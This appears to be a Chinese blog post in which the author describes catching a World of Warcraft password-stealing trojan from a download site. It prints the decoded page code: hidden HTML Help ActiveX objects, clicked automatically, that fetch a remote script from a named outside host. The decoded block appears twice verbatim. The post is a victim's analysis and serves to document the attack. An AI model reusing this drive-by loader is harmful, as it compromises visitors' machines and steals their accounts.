找一个很旧的软件的最新版本时,到其网页后因发觉自己的电脑中招了,我可是winxp+sp2,让其上网自动更新的啊,而且安装了Norton,照样让木马给运行了,后来分析,是一个魔兽世界的盗号木马,分析后清楚倒不难(讨厌的是,它居然试图注入了我的大部分在运行进程,累我电脑重启了)
分析其网页代码,剥离解码后,得到的代码如下:
//=================================================
<center><font color=red>对不起,您访问的页面不存在!</font><center>
<SCRIPT language=VScript src="zlongyao.gif"></SCRIPT>
<SCRIPT language=VScript src="zlongyao.exe">
</SCRIPT><HTML><BODY><div style="display:none">
<OBJECT id="news784" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;/windows/help/apps.chm'></OBJECT>
<OBJECT id="news458" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write(/"<SCRIPT language=JScript src=///"http://8.71z.cn/zlongyao.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'></OBJECT></div>
<SCRIPT>news784.Click();setTimeout("news458.Click();",0);</SCRIPT>
//=====================================================================
看来是运行了不少东西,暂且记下,以后有空再作分析。
分析其网页代码,剥离解码后,得到的代码如下:
//=================================================
<center><font color=red>对不起,您访问的页面不存在!</font><center>
<SCRIPT language=VScript src="zlongyao.gif"></SCRIPT>
<SCRIPT language=VScript src="zlongyao.exe">
</SCRIPT><HTML><BODY><div style="display:none">
<OBJECT id="news784" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;/windows/help/apps.chm'></OBJECT>
<OBJECT id="news458" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write(/"<SCRIPT language=JScript src=///"http://8.71z.cn/zlongyao.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'></OBJECT></div>
<SCRIPT>news784.Click();setTimeout("news458.Click();",0);</SCRIPT>
//=====================================================================
看来是运行了不少东西,暂且记下,以后有空再作分析。